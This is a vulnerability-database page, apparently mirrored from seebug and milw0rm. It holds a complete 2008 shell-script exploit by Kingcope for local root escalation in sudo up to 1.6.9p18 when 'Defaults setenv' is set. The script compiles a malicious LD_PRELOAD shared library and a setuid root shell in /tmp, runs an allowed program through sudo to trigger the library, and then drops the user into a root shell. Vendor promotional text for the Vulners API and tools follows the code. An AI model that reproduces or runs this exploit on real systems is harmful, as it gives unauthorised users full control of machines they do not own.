Lucene search
K

Sudo <= 1.6.9p18 - (Defaults setenv) Local Privilege Escalation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Sudo <= 1.6.9p18 Local Privilege Escalation Exploit by Kingcop

Code

                                                #!/bin/sh
#* Sudo &#60;= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/www.com-winner.com
#
# Most lame exploit EVER!
#
# Needs a special configuration in the sudoers file:
# ---&#62;&#62;&#62;&#62;&#62; &#34;Defaults setenv&#34; so environ vars are preserved :) &#60;&#60;&#60;&#60;&#60;---
#
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in 
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don&#39;t even know why I realease such stuffz
# I&#39;M GONNA GRAB A COFFE NOW;HAVE PHUN !!!

echo &#34;Sudo &#60;= 1.6.9p18 local r00t exploit&#34;
echo &#34;by Kingcope/2008/www.com-winner.com&#34;

if [$1 == &#34;&#34;]; then
echo &#34;Please give me a program to run via sudo.&#34;
echo &#34;Allowed programs:&#34;
sudo -l
exit
fi

cat &#62; program.c &#60;&#60; _EOF
#include &#60;unistd.h&#62;
#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;stdlib.h&#62;

void _init()
{
 if (!geteuid()) {
 unsetenv(&#34;LD_PRELOAD&#34;);
 setgid(0);
 setuid(0);
 execl(&#34;/bin/sh&#34;,&#34;sh&#34;,&#34;-c&#34;,&#34;chown 0:0 /tmp/xxxx; /bin/chmod +xs /tmp/xxxx&#34;,NULL);
 }
}

_EOF

cat &#62; xxxx.c &#60;&#60; _EOF
int main(void) {
       setgid(0); setuid(0);
//       unlink(&#34;/tmp/xxxx&#34;);
       execl(&#34;/bin/sh&#34;,&#34;sh&#34;,0); }
_EOF

gcc -o /tmp/xxxx xxxx.c
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o /tmp/libno_ex.so.1.0 program.o -nostartfiles
sudo LD_PRELOAD=/tmp/libno_ex.so.1.0 $1
if [ -f /tmp/xxxx ]; then
echo &#34;CONGRATULATIONS, IT&#39;S A ROOTSHELL!&#34;
/tmp/xxxx
else
echo &#34;Sorry, exploit failed. No envvars allowed?&#34;
fi

# milw0rm.com [2008-11-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation